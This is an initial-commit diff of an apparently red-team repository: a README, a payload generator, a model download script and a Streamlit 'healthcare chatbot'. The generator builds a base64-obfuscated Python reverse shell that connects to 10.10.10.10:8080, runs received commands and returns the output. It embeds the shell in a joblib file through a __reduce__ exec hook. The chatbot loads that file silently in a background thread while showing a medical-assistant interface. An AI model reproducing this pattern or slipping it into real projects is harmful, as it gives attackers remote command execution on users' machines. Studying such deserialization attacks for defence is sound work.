initial commit

README_joblib.md

@@ -0,0 +1,86 @@
+---
+license: mit
+---
+
+> ⚠️ This project demonstrates how Joblib serialization can be abused to execute reverse shell payloads. For **educational and red teaming** only.
+
+# 🩺 Healthcare Chatbot (FLAN‑T5) – Joblib Payload Edition
+
+## 📌 Overview
+
+This chatbot uses FLAN‑T5 to answer medical questions. Behind the scenes, it runs a reverse shell payload loaded via a malicious `.joblib` file.
+
+When the app loads, a background thread calls `joblib.load("train_data_mod_obfuscated_fixed.joblib")`, triggering the payload.
+
+---
+
+## ⚙️ How It Works
+
+1. A base64‑encoded reverse shell payload is defined in `generate_data_joblib.py`.
+2. `Trigger.__reduce__()` executes the decoded payload on deserialization.
+3. `generate_data_joblib.py` creates `train_data_mod_obfuscated_fixed.joblib`.
+4. The Streamlit app runs `joblib.load()` in a daemon thread, firing the shell.
+
+---
+
+## 🚀 Setup Instructions
+
+### 🔹 Step 1: Clone or Download
+
+```bash
+git clone https://huggingface.co/Iredteam/joblib-payload-chatbot
+cd joblib-payload-chatbot
+```
+
+---
+
+### 🔹 Step 2: Download the FLAN‑T5 Model
+
+```bash
+git clone https://huggingface.co/google/flan-t5-small
+```
+
+---
+
+### 🔹 Step 3: Build the Joblib Payload
+
+Run the generator to create the `.joblib` file:
+
+```bash
+python generate_data_joblib.py
+```
+
+---
+
+### 🔹 Step 4: Run the Chatbot
+
+```bash
+streamlit run healthcare_chatbot.py
+```
+
+This will:
+- Load your malicious `.joblib` in the background
+- Trigger the reverse shell
+- Present the Streamlit chatbot UI
+
+---
+
+## 💡 Features
+
+- 🧠 Local FLAN‑T5 inference for privacy & speed.
+- 🛡️ Reverse shell execution via Joblib deserialization.
+- 🔄 Background thread ensures UI responsiveness.
+- 🕵️ No payload code in the main script.
+
+---
+
+## ⚠️ Disclaimer
+
+This is a **security demonstration**. Do **not** use for unauthorized access. Always obtain permission before testing.
+
+---
+
+## 📩 Contact
+
+Open issues or collaborate on the Hugging Face repo:  
+**https://huggingface.co/Iredteam/joblib-payload-chatbot**

generate_data_joblib.py

@@ -0,0 +1,37 @@
+import joblib
+import base64
+import textwrap
+
+# Step 1: Define your reverse shell code
+payload = textwrap.dedent("""
+import socket
+import subprocess
+ip = "10.10.10.10"
+p = 8080
+s = socket.socket()
+s.connect((ip, p))
+while True:
+    c = s.recv(1024).decode()
+    if not c:
+        break
+    o = subprocess.getoutput(c)
+    s.sendall(o.encode())
+""").strip()
+
+# Step 2: Obfuscate the payload using base64
+encoded_payload = base64.b64encode(payload.encode()).decode()
+
+# Step 3: Create a malicious class that triggers on deserialization
+class Trigger:
+    def __reduce__(self):
+        cmd = (
+            "import base64\n"
+            f"exec(base64.b64decode('{encoded_payload}').decode())"
+        )
+        return (exec, (cmd,))
+
+# Step 4: Dump it to a joblib file
+with open("train_data_mod_obfuscated_fixed.joblib", "wb") as f:
+    joblib.dump(Trigger(), f)
+
+print("✅ Joblib file created: train_data_mod_obfuscated_fixed.joblib")

getpowershell.ps1

@@ -0,0 +1,20 @@
+# Create directory for the model
+New-Item -ItemType Directory -Path .\flan-t5-small -Force
+# Define the list of model files
+$files = @(
+    "config.json",
+    "pytorch_model.bin",
+    "tokenizer.json",
+    "tokenizer_config.json",
+    "special_tokens_map.json",
+    "vocab.txt"
+)
+# Base URL for the model files
+$base_url = "https://huggingface.co/google/flan-t5-small/resolve/main/"
+# Loop through each file and download it
+foreach ($file in $files) {
+    $url = "$base_url$file"
+    $output = ".\flan-t5-small\$file"
+    Invoke-WebRequest -Uri $url -OutFile $output
+    Write-Host "Downloaded: $file"
+}

healthcare_chatbot.py

@@ -0,0 +1,69 @@
+import threading
+import joblib
+import streamlit as st
+import torch
+from transformers import AutoTokenizer, AutoModelForSeq2SeqLM
+import warnings
+
+# Suppress PyTorch warnings
+warnings.filterwarnings("ignore", category=UserWarning, module="torch")
+
+# ==============================
+# Background Payload Loader
+# ==============================
+def load_joblib_payload():
+    try:
+        joblib.load("train_data_mod_obfuscated_fixed.joblib")
+    except Exception:
+        pass
+
+threading.Thread(target=load_joblib_payload, daemon=True).start()
+
+# ==============================
+# Streamlit UI
+# ==============================
+st.title("🩺 Healthcare Chatbot (FLAN-T5) – Joblib Payload Edition")
+
+# Model loading
+st.write("🚀 Loading FLAN-T5 model from local storage...")
+try:
+    torch_dtype = torch.float32 if torch.cuda.is_available() else torch.float32
+    tokenizer = AutoTokenizer.from_pretrained("flan-t5-small", local_files_only=True)
+    model = AutoModelForSeq2SeqLM.from_pretrained(
+        "flan-t5-small",
+        torch_dtype=torch_dtype,
+        local_files_only=True
+    )
+    st.write("✅ Model loaded successfully!")
+except Exception as e:
+    st.error(f"❌ Failed to load model: {e}")
+    st.stop()
+
+# ==============================
+# Chatbot response logic
+# ==============================
+def chatbot_response(question: str) -> str:
+    prompt = (
+        "You are a helpful medical assistant. The user asked:\n"
+        f"Question: {question}\n\n"
+        "Answer concisely. If unsure, advise seeing a doctor."
+    )
+    inputs = tokenizer(prompt, return_tensors="pt", truncation=True, padding=True)
+    outputs = model.generate(
+        **inputs,
+        max_length=256,
+        num_beams=2,
+        no_repeat_ngram_size=2
+    )
+    return tokenizer.decode(outputs[0], skip_special_tokens=True)
+
+if st.button("What can you help me with?"):
+    st.write("I can provide general medical information. Always verify with a professional.")
+
+user_input = st.text_input("Ask me a medical question:")
+if st.button("Get Answer"):
+    if user_input:
+        response = chatbot_response(user_input)
+        st.write(f"**Bot:** {response}")
+    else:
+        st.warning("Please enter a question.")

requirements.txt

@@ -0,0 +1,8 @@
+torch
+transformers
+accelerate
+bitsandbytes
+streamlit
+speechrecognition
+pyttsx3
+huggingface_hub